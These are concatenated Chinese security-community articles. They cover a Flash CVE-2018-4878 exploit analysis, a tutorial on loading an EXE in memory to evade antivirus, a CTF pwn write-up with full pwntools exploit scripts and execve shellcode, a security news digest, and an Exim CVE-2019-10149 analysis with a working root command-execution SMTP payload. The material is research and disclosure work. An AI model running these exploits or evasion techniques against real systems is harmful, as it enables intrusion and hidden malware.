原本notepad.exe的条目就消失了。然后卸载掉对应dll：
此时可以再次看见notepad.exe的条目。
在注入stealth2.dll之前要先将这个DLL放在系统system32的目录下（防止有些进程无法识别文件路径），然后执行注入操作：
（此时可以多开几个process explorer）打开的过程可能比较慢，因为钩取了进程创建的函数，存在线程优先的问题：
可以发现无论是原来的process explorer还是新打开的process
explorer里面都无法查到notepad.exe的条目。此时进行卸载操作：
可以发现原本被隐藏的notepad.exe又可以看到了 | 社区文章 |
作者：ze0r@360 A-TEAM
来源：<https://mp.weixin.qq.com/s/F2N04exaW8QO1IeHRZgmfg>
本篇文章，360 A-TEAM 将为大家介绍FLASH 0day(CVE-2018-4878)如何从POC到利用。
声明：本文由ze0r@360 A-Team原创，仅用于技术研究，不恰当使用会造成危害，严禁违法使用，否则后果自负。
#### 0×00 前言
这篇文章没有前言，简单粗暴，干货满满~下面我们就开始吧~
#### 0×01 在野EXP
一开始我们下载到了当时在野的EXP，用FFDEC查看AS脚本，关键触发点如下：
从反编译的脚本中，可发现除了布局内存外就是这两个方法，主要就是以一个§\x05§为参数初始化了一个drmManager对象，之后就将§\x05§赋值为NULL，而§\x05§为：
之后在github上发现已经有人发布了POC，而代码完全一致，只不过把乱变量名变得有意义了，而且也可以直接编译生成。故分析依照此POC进行。
前面已经说过，除了布局内存的代码外，就是初始化并赋值后建立了一个监听器。在POC中exploit方法中只留下这段代码，编译运行：
打开稍等片刻就会崩溃到调试器，查看：
可见直接使用ecx传递了一个对象，在IDA中也确认这是一次虚函数调用。
根据汇编代码可断定，ECX偏移0x0c处为某对象指针，而此对象已经全是0，造成了悬挂指针。再看AS3脚本中，把一个MyListener（实现了DRMOperationCompleteListener接口）类型对象赋值null。所以可猜测ecx->0x0c为MyListener对象。下断此时ecx这个对象的构造过程：
大致可判断此对象共5个方法，triggerVul即面触发崩溃的方法。查看引用共有2处：
反汇编确认赋值方法为1037a150：
windbg中下断，单步几次后查看对象内存：
确认此对象0x0c处为DRMOperationCompleteListener实例指针，即DRMOperationCompleteListener实例在被置null之后被垃圾回收，而在对象中还留存着实例指针造成悬挂指针问题。
#### 0×02 POC利用
而在POC的利用中，则是利用双重释放内存来利用此漏洞。如下：
由于在代码中，在出现异常后又new了一个新的MyListener对象，由于同是Mylistener对象大小相同，所以内存管理器会仍然分配这块原来MyListener对象所在内存给新对象（只要没被占用）。而之后代码drmManager从未被使用，所以垃圾回收会释放drmManager对象，同样，也会把drmManager对象成员释放（减少引用计数），于是0x068c0100会再次被清除回收：
在清除完成后，AS3中的danglingpointer变量仍然指向这块区域，所以在POC中，也是定时查看danglingpointer的成员变量是否被改变来判断是否已经完成内存释放。而之后大量申请内存以再次被内存管理器分配此内存完成占用。在偏移0x70处下写入断点（因为重启了调试器，故下面截图中地址并不完全相同）：
可以看到Mem_Arr已经成功占位，正在写入变量默认值。完成后可得内存布局：
可见Mem_arr的数据区域为0x054a815c-0x054a819c(position=0x31)。其中0x38383838为改写的Modify对象标记，即：
AS3代码中，PwnBuffer主要设置成员o1的成员变量值，下写入断点得到布局：
从POC注释中我们知道danglingpointer.a14为m_buffer地址，而a31为o1对象，而查看上面的布局，发现有明显的故意错误（0x54a818c已经被错误的改写为0xfffffff0），修正后：“this.danglingpointer.a30
=this.danglingpointer.a14 - 0x10;”。修正后布局：
正确改写o1指针后，调用 PwnBuffer则更改了arr[0]属性，之后可成功读取内存：
此时由于arr[0]长度已经被设置成0xffffffff，故可读写进程任意地址内存：
* * * | 社区文章 |
# EXE文件内存加载
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
作为一名安全菜鸟，单纯的了解某一个方面是并不合格的，安全并不仅限于某一门语言、某一个OS，现如今安全研究的技术栈要求的更深、更广。虽说 PE
文件内存加载已经是多年前的技术，但是招不在新、有用就行，内存加载技术仍然有非常广泛的应用（隐藏自身，至于为什么要隐藏自身，dddd），由于笔者之前认知的偏差导致对PE相关的知识仅停留在知道的地步，并没有静下心来去认真分析学习，借此机会补足一下技术点，同时顺便为自己的恶意代码分析的学习之旅开个头。
## 0x02 关键步骤
### 0x1 Section 对齐
因为exe以文件形式存储的时候区段间的对齐方式与在内存中的对齐方式不尽相同，因此在手动加载exe时不能单纯的将文件格式的 exe
直接拷贝到内存中，而是应当根据内存区段（page size）的对齐方式做对齐处理。
为了验证一下，随便找一个 exe 文件作为学习资料。
FileAlignment 为 0x200，实际的Section也均是以 0x200
为单位进行对齐的，实际调试时就会发现section的对齐变为了SectionAlignment的大小：0x1000
### 0x2 导入表修复
导入表是PE文件从其它第三方程序中导入API，以供本程序调用的机制（与导出表对应），在exe运行起来的时, 加载器会遍历导入表, 将导入表中所有dll
都加载到进程中，被加载的DLL的DllMain就会被调用，通过导入表可以知道程序使用了哪些函数，导入表是一个数组，以全为零结尾。
要理解导入表，首先要理解PE文件分为两种编译方式：动态链接、静态链接。
**静态链接方式** ：在程序执行之前完成所有的组装工作，生成一个可执行的目标文件（EXE文件）。
**动态链接方式** ：在程序已经为了执行被装入内存之后完成链接工作，并且在内存中一般只保留该编译单元的一份拷贝。
静态链接优势在于其可移植性较强，基本上不依赖于系统的dll（自己全打包好了），动态链接的优势在于程序主体较小，占用系统资源不多。
动态链接库的两种链接方法：
**(1) 装载时动态链接(Load-time Dynamic Linking)**
：这种用法的前提是在编译之前已经明确知道要调用DLL中的哪几个函数，编译时在目标文件中只保留必要的链接信息，而不含DLL函数的代码；当程序执行时，调用函数的时候利用链接信息加载DLL函数代码并在内存中将其链接入调用程序的执行空间中(全部函数加载进内存），其主要目的是便于代码共享。（动态加载程序，处在加载阶段，主要为了共享代码，共享代码内存）
**(2) 运行时动态链接(Run-time Dynamic Linking)**
：这种方式是指在编译之前并不知道将会调用哪些DLL函数，完全是在运行过程中根据需要决定应调用哪个函数，将其加载到内存中（只加载调用的函数进内存），并标识内存地址，其他程序也可以使用该程序，并用LoadLibrary和GetProcAddress动态获得DLL函数的入口地址。（dll在内存中只存在一份，处在运行阶段）
相较于静态链接所有函数均在一个exe文件里，要调用某个函数时只需要按照写死的偏移进行调用，动态链接就存在一个找函数的问题：
当程序运行起来需要某个系统函数时，哪个dll包含该函数？dll加载到内存里之后地址是不确定的，如何按照从内存中定位到所需的函数地址。
PE文件中的导入表就可以解决上述问题。
要理解导入表首先要了解以下这几个结构：
**IMAGE_DATA_DIRECTORY**
IMAGE_DATA_DIRECTORY 位于 IMAGE_Optional_header
中的最后一个字段，是一个由16个_IMAGE_DATA_DIRECTORY
结构体构成的结构体数组，每个结构体由两个字段构成，分别为VirtualAddress和Size字段：
* VirtualAddress字段记录了对应数据结构的RVA。
* Size字段记录了该数据结构的大小。
Offset (PE/PE32+) Description
96/112 Export table address and size
104/120 Import table address and size
112/128 Resource table address and size
120/136 Exception table address and size
128/144 Certificate table address and size
136/152 Base relocation table address and size
144/160 Debugging information starting address and size
152/168 Architecture-specific data address and size
160/176 Global pointer register relative virtual address
168/184 Thread local storage (TLS) table address and size
176/192 Load configuration table address and size
184/200 Bound import table address and size
192/208 Import address table address and size
200/216 Delay import descriptor address and size
208/224 The CLR header address and size
216/232 Reserved
根据微软提供的信息，IMAGE_DATA_DIRECTORY 的第二项指向的就是导入表了。
**IMAGE_IMPORT_DESCRIPTOR**
既然已经找到了导入表，就需要根据导入表内的元素来加载对应的dll，获取不同的函数地址了，此时就需要用到 IMAGE_IMPORT_DESCRIPTOR
结构了，该结构的详细内容如下：
Offset Size Field
0 4 Import Lookup Table RVA
4 4 Time/Date Stamp
8 4 Forwarder Chain
12 4 Name RVA
16 4 Import Address Table RVA
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk;//(1) 指向导入名称表(INT)的RAV*
};
DWORD TimeDateStamp; // (2) 时间标识
DWORD ForwarderChain; // (3) 转发链，如果不转发则此值为0
DWORD Name; // (4) 指向导入映像文件的名字*
DWORD FirstThunk; // (5) 指向导入地址表（IAT）的RAV*
} IMAGE_IMPORT_DESCRIPTOR;
在修复IAT的过程中最重要的两个字段就是 OriginalFirstThunk 和 FirstThunk了：
根据OriginalFirstThunk获取要用到的函数名，将获取到的函数地址填到FirstThunk中。
## 0x03 具体分析
为了方便理解和记忆，默认读取的 PE 文件格式不存在问题，不做错误处理。
相较于dll的内存加载，exe的内存加载简化了很多，其中省略掉的一个大步骤就是导出表的修复。
### 文件读取
文件读取步骤基本上可以说条条大路通罗马，只要将 PE
文件完整的读取到内存中可供后续处理即可，除了把一个文件放在目录中进行读取以外还有很多种方式，比如将要加载的 exe
转换成shellcode进行加载、将shellcode进行简单xor后在内存xor回来再加载。。。
ifstream inFile("nc.exe", ios::in | ios::binary);
stringstream tmp;
tmp << inFile.rdbuf();
unsigned char* content = (unsigned char*)tmp.str().c_str();
### 初始内存分配
因为 exe 文件默认有加载基址，一般情况下在运行 exe 的时候会首先尝试加载到默认地址上去，因此就要根据 exe
的默认加载基址和映像大小（exe加载到内存后的大小：SizeOfImage）来分配内存
SIZE_T SizeOfImage = pFileNtHeader->OptionalHeader.SizeOfImage;// 获取加载基址
DWORD base = pFileNtHeader->OptionalHeader.ImageBase;
// 分配内存
unsigned char* memExeBase = (unsigned char*)VirtualAlloc((LPVOID)base, SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(memExeBase, content, pFileNtHeader->OptionalHeader.SizeOfHeaders);
分配内存时的 `VirtualAlloc`指定的页类型为 `MEM_COMMIT|MEM_RESERVE`这里是一个小小的延迟分配的知识点，如果是
`MEM_RESERVE`的话只有当对该段内存进行内存操作时才会被真正Load进入物理内存中。页权限使用的是`PAGE_EXECUTE_READWRITE`，这在实际编码过程中是一个很不好的习惯，为了更清晰的理解
exe 内存加载的核心流程，就省略了根据section来确定内存权限的步骤。
### 拷贝Header
分配内存完毕后首先要将 PE header 拷贝到相应的地址空间去，因为后续的操作均需要用到。
memcpy(memExeBase, content, pFileNtHeader->OptionalHeader.SizeOfHeaders);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)memExeBase;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(memExeBase + pDosHeader->e_lfanew);
之后要根据新分配的内存地址计算新的 DOS头 和 NT头。
### 修复ImageBase
因为已经根据ImageBase分配了内存，所以需要将拷贝后的OptionalHeader中的ImageBase字段根据实际内存地址进行更新，如果开启了aslr的话需要根据实际的内存地址更新ImageBase，分配到默认基址上的话没有必要。
pNtHeader->OptionalHeader.ImageBase = (DWORD)memExeBase;
### 拷贝区段
拷贝区段这部分是内存加载的第一个关键点，要根据内存页的大小来将原本的文件区段进行处理。在文件中Section通常以 0x200 进行对齐，内存中页大小单位为
0x1000， 因此内存对齐单位为 0x1000，所以当PE文件加载到内存中后需要对Section进行变换。
// 拷贝区段
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(pNtHeader);
int sectionSize;
for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++, section++) {
if (section->SizeOfRawData == 0) {
sectionSize = pNtHeader->OptionalHeader.SectionAlignment; // 最小内存Seciton单位为 SectionAlignment的大小
}
else {
sectionSize = section->SizeOfRawData;
}
if (sectionSize > 0) {
void* dest = memExeBase + section->VirtualAddress;
memcpy(dest, content + section->PointerToRawData, sectionSize);
}
}
### 修复导入表
OriginalFirstChunk指向的INT表表项以4字节为单位，全0结尾，如果最高位为1则代表是函数序号，反之则是一个RVA，指向IMAGE_IMPORT_BY_NAME结构，INT表实际上的功能是获取要导入的函数名。目前没有遇到最高位为1的情况。
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;
CHAR Name[1]; //函数名称,0结尾.
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
IAT表项则直接是一个指向真实函数地址的指针。
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
bool result = true;
PIMAGE_DATA_DIRECTORY pDataDir = (PIMAGE_DATA_DIRECTORY)(&pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]); // 获取IMAGE_DATA_DIRECTORY 位置
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(memExeBase + pDataDir->VirtualAddress);// 获取第一个IMAGE_IMPORT_DESCRIPTOR
for (;!IsBadReadPtr(pImportDesc,sizeof(IMAGE_IMPORT_DESCRIPTOR)) && pImportDesc->Name;pImportDesc++) {
uintptr_t* thunkRef;
FARPROC* funcRef;
HMODULE handle = LoadLibraryA((LPCSTR)(memExeBase + pImportDesc->Name)); // 加载dll（此处也是可以手工加载的）
if (pImportDesc->OriginalFirstThunk) {
thunkRef = (uintptr_t*)(memExeBase + pImportDesc->OriginalFirstThunk);
funcRef = (FARPROC*)(memExeBase + pImportDesc->FirstThunk);
}
else {
thunkRef = (uintptr_t*)(memExeBase + pImportDesc->FirstThunk);
funcRef = (FARPROC*)(memExeBase + pImportDesc->FirstThunk);
}
for (; *thunkRef; thunkRef++, funcRef++) {
if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) { // 判断OriginalFirstThunk表项最高位为1的情况
*funcRef = GetProcAddress(handle, (LPCSTR)(IMAGE_ORDINAL(*thunkRef)));//修复导入表
}
else {
PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME)(memExeBase + (*thunkRef));
*funcRef = GetProcAddress(handle, (LPCSTR)&thunkData->Name); //修复导入表
}
if (*funcRef == 0) {
cout << " error import " << endl;
exit(0);
}
}
}
上述修复导入表的代码实际完成的工作就是遍历导入表中的
`IMAGE_IMPORT_DESCRIPTOR`结构，根据dll名称将对应的dll加载到内存中，并根据OriginalFirstThunk字段来获取所需的函数名进而使用GetProcAddress来获取该函数在内存中的实际地址填充到FirstThunk字段指向的空间中。
### 获取入口点启动程序
if (pNtHeader->OptionalHeader.AddressOfEntryPoint != 0) {
ExeEntryProc exeEntry = (ExeEntryProc)(LPVOID)(memExeBase + pNtHeader->OptionalHeader.AddressOfEntryPoint);
exeEntry();
}
## 结语
至此exe的内存加载就已经结束了，诱发我写下这篇文章的一个主要原因是回忆起之前看过的几篇APT相关的分析文章，涉及到主机的远控目前内存加载已经是标配，杀软动态检测的对抗方式种类繁多，静态对抗的方法以内存加载为王。
## 参考链接
<https://www.cnblogs.com/iBinary/p/9740757.html>
<https://github.com/fancycode/MemoryModule>
<https://blog.csdn.net/Apollon_krj/article/details/77417063>
<https://www.cnblogs.com/tracylee/archive/2012/10/15/2723816.html> | 社区文章 |
# 【CTF攻略】2017“百度杯”二月第一场PWN专题赛WriteUp
|
##### 译文声明
本文是翻译文章，文章来源：i春秋学院
译文仅供参考，具体内容表达以及含义原文为准。
****
**
**
**misc 1**
调戏i春秋公众号即可
**misc 2**
搜索一下波利比奥斯棋盘的图片，然后把数字对应转换成字母，即为flag
**misc 3**
对残诗base64解码，发现是诗经里面的一首
最后一句为“十月蟋蟀入我床下”
**PWN 1 fast-fast-fast**
漏洞是一个多次释放的漏洞，也可以转化为释放后重用：如图所示，释放的时候没有检查是否已经释放
用思路是控制free状态的fastbin的fd指针，指向全局管理结构。首先申请一个fastbin，然后释放掉，然后再申请一个normal
chunk，这时再释放掉fastbin（触发漏洞，多次释放）实际释放的是normal chunk，这时需要在normal
chunk范围内构造释放状态的fastbin，可以通过申请fastbin再释放即可。然后可以通过修改normal
chunk篡改释放状态的fastbin的fd指针了。改为0x00000000006C4A80，最后通过saysecret申请一次fastbin，再申请一个fastbin即可控制全局管理结构了。然后的第一个问题是无法printf泄漏内存。且没有setcontext等切换栈的rop。解决方法：通过全局管理结构构造任意内存写，把free@GOT修改为printf，这样即可内存泄漏。然后通过environ泄漏栈地址，即可直接编辑栈了。最后的一个问题是题目没有system函数。解决方法：使用我们自己开发的工具自动构造ROP即可
#!/usr/bin/python
#edit by ysyy@NeSE
from pwn import *
from time import sleep
from sys import argv
from autorop import *
#s = remote('127.0.0.1',4545)
s = remote('106.75.66.195',11001)
#s = remote(lhost,lport,timeout=1.5)
#context.log_level = 'debug'
sleep(0.5)
def fastbin():
s.sendline('1')
s.recvuntil('3 : deletn')
def normalchunk():
s.sendline('2')
s.recvuntil('3 : deletn')
def saysect():
s.sendline('3')
def create(data):
s.sendline('1')
s.recvuntil('please input your secretn')
s.sendline(data)
s.recvuntil('3 : saysecretn')
def edit(data):
s.sendline('2')
s.recvuntil('please input your secrertn')
s.send(data)
#s.recvuntil('3 : saysecretn')
def delete():
s.sendline('3')
s.recvuntil('3 : saysecretn')
def show_order(num):
s.sendline('2')
s.recvuntil("Input the order's num:")
s.sendline(num)
#s.recvuntil('5. Exitn')
def read_it(addr):
fastbin()
edit(p64(1)+p64(0xF0F0)+p64(addr))
normalchunk()
s.sendline('3')
ret = s.recvuntil('choose')
ret = ret[:len(ret)-6]
return ret
def write_it(addr,data):
fastbin()
edit(p64(1)+p64(0x1F0)+p64(addr))
normalchunk()
edit(data)
s.recvuntil('3 : saysecretn')
#fastbin , and free
fastbin()
create("a")
fastbin()
delete()
#normal chunk
normalchunk()
create("b")
#free fastbin , but actually free chunk
fastbin()
delete()
#depart freed normal chunk
fastbin()
create("c")
fastbin()
delete()
#edit freed fastbin
normalchunk()
edit(p64(0x6c4aa0))
#alloc fastbin
saysect()
#alloc in manage struct
fastbin()
create(p64(0x00000000006C4A80))
#change free to printf
write_it(0x00000000006C3750,p64(0x00000000004082A0))
stack = u64(read_it(0x00000000006C3888).ljust(8,'x00'))
print hex(stack)
exe = 'fast-fast-fast'
chain= get_rop_chain(exe,0x00000)
p=''
for _ in chain:
p+=p64(_)
print len(p)
edit_ret = stack - 0x130
#raw_input('ggggg')
#context.log_level = 'debug'
#write_it(0x00000000006C3750,'aaaa')
write_it(edit_ret,p)
shellcode="x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"
raw_input('ggggg')
s.send(shellcode)
s.interactive()
**PWN 2 Black_hole**
程序在sub_4006CC处有栈溢出，溢出长度正好能覆盖到返回地址
可以不断return到main函数然后再次出发溢出，这样每次能往栈上写入8字节，从而进行ROP。这里选择调用execve
/bin/sh，控制eax为0x3B，ebx指向/bin/sh，ecx和edx为NULL，最后调用syscall。
**1\. 制造syscall：**
虽然没有leak的机会，但是可以通过覆写GOT的最后一字节，期望能指向syscall指令。这里选择了alarm函数，并爆破其GOT最后一字节。
**2\. 控制eax值：**
利用read函数的返回值即可控制eax。
爆破结果为0x5时，可以成功利用
exp如下：
from pwn import *
from time import sleep
import sys
gadget_1=p64(0x00000000004007A6)
gadget_2=p64(0x0000000000400790)
addr_got_read=0x0000000000601028
addr_bss=0x000000000601058
addr_got_alarm=0x0000000000601020
payload =gadget_1
payload+=p64(0)
payload+=p64(0)#rbx
payload+=p64(1)#rbp
payload+=p64(addr_got_read)#r12
payload+=p64(1)#r13rdx read num
payload+=p64(addr_got_alarm)#r14rsireadgot
payload+=p64(0x0)#r15edi read 0
payload+=gadget_2
payload+=p64(0)
payload+=p64(0)#rbx
payload+=p64(1)#rbp
payload+=p64(addr_got_read)#r12
payload+=p64(0x3B)
payload+=p64(addr_bss)#r14rsireadbss
payload+=p64(0x0)
payload+=gadget_2
payload+=p64(0)
payload+=p64(0)#rbx
payload+=p64(1)#rbp
payload+=p64(addr_bss+8)#r12
payload+=p64(0)
payload+=p64(0)
payload+=p64(addr_bss)
payload+=gadget_2
def write_stack(content, sec = 0.5):
p.sendline("2333")
sleep(sec)
p.send(content.rjust(0x18, "a") + p64(main))
sleep(sec)
if sys.argv[1] == "0":
off = 0x85
p = process("./black_hole")
sec = 0.2
else:
off = 5
p = remote("106.75.66.195", 11003)
sec = 1.5
main = 0x0000000000400704
log.info("write stack...")
for i in xrange(len(payload), 0, -8):
print i
write_stack(payload[i-8:i], sec)
p.sendline("2333")
sleep(sec)
p.send("a"*0x18 + p64(0x00000000004006CB))
sleep(sec)
log.info("try %s..." % hex(off))
p.send(chr(off)) # ovwer write one byte
sleep(sec)
payload2 = "/bin/shx00"
payload2 += p64(0x0000000000400540)
payload2 += (0x3B - len(payload2) - 1) * "a"
p.sendline(payload2)
p.interactive()
**PWN 3 Werewolf**
程序在sub_E57处存在double free
由于可以通过add a role任意控制malloc的大小和时机，所以可以unlink来利用漏洞。过程如下：
分配三个chunk
free掉第2个和第3个
malloc一个size为2、3之和的堆块，然后在chunk1和chunk3中进行内存布局再次free
chunk3，造成Unlink实际过程中，还需要leak堆地址和libc地址，可以先free掉某个块，再通过show a role来leak。
Unlink后就有了任意地址写的能力，这里选择覆写free_hook为system地址，然后free掉保存有/bin/sh的堆，即可拿到shell。Exp如下：
from pwn import *
# context.log_level = "debug"
# p = process("./werewolf")
p = remote("106.75.66.195", 11002)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc-2.17.so")
def add(sz, content):
p.sendlineafter("5.Exitn", "1")
p.sendlineafter("size:n", str(sz))
p.sendafter("action:n", content)
def show(idx):
p.sendlineafter("5.Exitn", "2")
p.sendlineafter("idn", str(idx))
def edit(idx, content):
p.sendlineafter("5.Exitn", "3")
p.sendlineafter("idn", str(idx))
p.sendafter("actionn", content)
def kill(idx):
p.sendlineafter("5.Exitn", "4")
p.sendlineafter("idn", str(idx))
add(0x60, "/bin/shx00n")
add(0x100, "b"*0x100)
add(0x100, "c"*0x100)
add(0x100, "d"*0x100)
add(0x100, "e"*0x100)
kill(1)
kill(3)
show(1)
p.recvuntil("action : ")
main_arena = u64(p.recvuntil("n", drop = True).ljust(8, "x00")) - 88
log.info("leak : main_arena " + hex(main_arena))
show(3)
p.recvuntil("action : ")
heap = u64(p.recvuntil("n", drop = True).ljust(8, "x00"))
log.info("leak : heap " + hex(heap))
# off_main_arena = 3771136
off_main_arena = 0x3BA760
free_hook = main_arena - off_main_arena + libc.symbols["__free_hook"]
system = main_arena - off_main_arena + libc.symbols["system"]
log.info("free_hook : " + hex(free_hook))
log.info("system : " + hex(system))
# unlink
kill(2)
payload = "f"*0x110 + p64(0) + p64(0x100) + p64(heap - 0xF8) + p64(heap - 0xF0)
payload += "f"*0xE0 + p64(0x100) + p64(0x90) + "f"*0x80 + p64(0) + p64(0x101) + "n"
add(0x300, payload) # 5
kill(3)
# over write free_hook
edit(2, p64(0x60) + p64(free_hook) + "n")
edit(1, p64(system) + "n")
kill(0)
p.interactive() | 社区文章 |
# 3月19日安全热点 – Facebook证实了剑桥分析公司窃取其数据
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
剑桥分析公司如何使用Facebook数据来帮助特朗普
<http://www.theregister.co.uk/2018/03/18/facebook_confirms_cambridge_analytica_stole_its_data_its_a_plot_claims_former_director/>
<http://www.zdnet.com/article/how-cambridge-analytica-used-your-facebook-data-to-help-elect-trump/>
<https://news.hitb.org/content/cambridge-analytica-took-50m-facebook-users-data-and-both-companies-owe-answers>
Firefox密码系统过去9年的安全性很差
<https://www.bleepingcomputer.com/news/security/firefox-master-password-system-has-been-poorly-secured-for-the-past-9-years/>
尽管US-CERT对能源领域关键基础设施的网络攻击发出警告，但与俄罗斯相关的Sofacy APT正在瞄准欧洲的一个政府机构。
<http://securityaffairs.co/wordpress/70391/apt/sofacy-apt-european-government.html>
对沙特石化工厂的一次新的网络攻击成为头条新闻，黑客在8月试图袭击基础设施。
<http://securityaffairs.co/wordpress/70404/cyber-warfare-2/saudi-petrochemical-plant-hack.html>
关于物联网安全的讨论
<http://www.zdnet.com/article/the-sad-old-but-true-joke-of-iot-security/>
## 技术类
用Rust构建一个快速的Electron应用程序
<https://keminglabs.com/blog/building-a-fast-electron-app-with-rust/>
RDP劫持 – 如何劫持RDS和RemoteApp会话
<https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6>
Uncovering a Bug in Cloudflare’s Minification Service
<https://blog.jli.host/posts/cf-auto-minify/>
拿下Gooligan：第1部分 – 概述
<https://www.elie.net/blog/security/taking-down-gooligan-part-1-overview>
某 java 急速开发框架分析与挖掘
<https://xianzhi.aliyun.com/forum/topic/2174>
mycrypto.com中基于DOM的XSS
<https://hackerone.com/reports/324303>
泄漏Facebook内部Ip基础设施
<http://misteralfa-hack.blogspot.cl/2018/03/leaking-facebook-internal-ip.html>
带有WireGuard的Linux上基于路由的VPN
<https://vincent.bernat.im/en/blog/2018-route-based-vpn-wireguard>
Cobalt Strike——利用混淆处理绕过Windows Defender
<https://xianzhi.aliyun.com/forum/topic/2173>
RealWebIdea CMS SQL注入漏洞
<https://cxsecurity.com/issue/WLB-2018030138>
Cognolabs CMS中的跨站点脚本（XSS）漏洞
<https://cxsecurity.com/issue/WLB-2018030137>
Firefox 46.0.1 ASM.JS JIT-Spray Remote Code Execution
<https://cxsecurity.com/issue/WLB-2018030134>
PowerShell—RAT——基于Python的后门程序，它使用Gmail通过附件将数据泄露出去
<https://github.com/Viralmaniar/Powershell-RAT>
### **以下热点来自360CERT**
漏洞】
1.Jupyter Notebook 远程代码执行漏洞
<http://t.cn/Rn5RNDn>
2.es6模板引擎中，“//”被解释为内嵌注释，可被进行代码注入
<http://t.cn/Rn5R0un>
【安全事件】
1.俄罗斯中央选举委员会：信息中心在选举日当天遭黑客攻击
<http://t.cn/RnqiW5i>
【安全资讯】
1.江苏省2月发现网络攻击2亿起，超9成为僵尸木马受控
<http://t.cn/Rn5RQOa>
2.奥巴马照片”身份证被用来开卡盗刷 漏洞在哪里？
<http://t.cn/RnGtpf7>
【安全研究】
1.Chrome扩展程序可防止基于JavaScript的CPU侧通道攻击
<http://t.cn/Rn5RRaV>
【恶意软件】
1.黑客利用PostgreSQL服务器安装潜藏在照片中的恶意软件
<http://t.cn/Rn5RuJP> | 社区文章 |
# Exim远程命令执行漏洞分析（CVE-2019-10149）
|
##### 译文声明
本文是翻译文章，文章原作者 qualys，文章来源：qualys.com
原文地址：<https://www.qualys.com/2019/06/05/cve-2019-10149/return-wizard-rce-exim.txt>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在对Exim邮件服务器最新改动进行代码审计过程中，我们发现4.87到4.91版本之间的[Exim](https://en.wikipedia.org/wiki/Exim)存在一个远程命令执行（RCE）漏洞。这里RCE指的是远程命令执行（Remote
_Command_ Execution），而不是远程代码执行（Remote _Code_
Execution）：攻击者可以以`root`权限使用`execv()`来执行任意命令，利用过程中不涉及到内存破坏或者ROP（Return-Oriented
Programming）相关内容。
这个漏洞可以由本地攻击者直接利用（远程攻击者需要在特定的非默认配置下利用）。为了在默认配置下远程利用该漏洞，攻击者需要与存在漏洞的服务器建连7天（可以每隔几分钟发送1个字节）。然而由于Exim的代码非常复杂，我们无法保证这里介绍的方法是唯一的利用方法，可能还存在其他更加快捷的方法。
从4.87版开始（2016年4月6日公布），由于`#ifdef EXPERIMENTAL_EVENT`改成了`#ifndef
DISABLE_EVENT`，因此Exim默认情况下就存在漏洞。在之前的版本中，如果手动启用了`EXPERIMENTAL_EVENT`选项，那么服务器也会存在漏洞。令人惊讶的是，这个漏洞已经在4.92版中被修复（2019年2月10日）：
https://github.com/Exim/exim/commit/7ea1237c783e380d7bdb86c90b13d8203c7ecf26
https://bugs.exim.org/show_bug.cgi?id=2310
然而Exim并没有把这个问题当成安全漏洞，因此大多数操作系统都会受到影响。比如，我们在最新的Debian发行版（9.9）中就成功利用了该漏洞。
## 0x01 本地利用
漏洞代码位于`deliver_message()`中：
6122 #ifndef DISABLE_EVENT
6123 if (process_recipients != RECIP_ACCEPT)
6124 {
6125 uschar * save_local = deliver_localpart;
6126 const uschar * save_domain = deliver_domain;
6127
6128 deliver_localpart = expand_string(
6129 string_sprintf("${local_part:%s}", new->address));
6130 deliver_domain = expand_string(
6131 string_sprintf("${domain:%s}", new->address));
6132
6133 (void) event_raise(event_action,
6134 US"msg:fail:internal", new->message);
6135
6136 deliver_localpart = save_local;
6137 deliver_domain = save_domain;
6138 }
6139 #endif
由于`expand_string()`可以识别`${run{<command>
<args>}}`扩展项，且`new->address`是正在投递的邮件的收件方，因此本地攻击者可以向`${run{...}}[@localhost](https://github.com/localhost
"@localhost")`发送一封邮件（其中`localhost`是Exim的某个本地域），以`root`权限执行任意命令（默认情况下`deliver_drop_privilege`的值为`false`）。
操作过程如下所示：
john@debian:~$ cat /tmp/id
cat: /tmp/id: No such file or directory
john@debian:~$ nc 127.0.0.1 25
220 debian ESMTP Exim 4.89 Thu, 23 May 2019 09:10:41 -0400
HELO localhost
250 debian Hello localhost [127.0.0.1]
MAIL FROM:<>
250 OK
RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: 8
Received: 9
Received: 10
Received: 11
Received: 12
Received: 13
Received: 14
Received: 15
Received: 16
Received: 17
Received: 18
Received: 19
Received: 20
Received: 21
Received: 22
Received: 23
Received: 24
Received: 25
Received: 26
Received: 27
Received: 28
Received: 29
Received: 30
Received: 31
.
250 OK id=1hTnYa-0000zp-8b
QUIT
221 debian closing connection
john@debian:~$ cat /tmp/id
cat: /tmp/id: Permission denied
root@debian:~# cat /tmp/id
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
在这个例子中：
* 我们向邮件服务器发送了多个`Received:`头（超过`received_headers_max`，这个值默认为30），从而执行存在漏洞的代码。
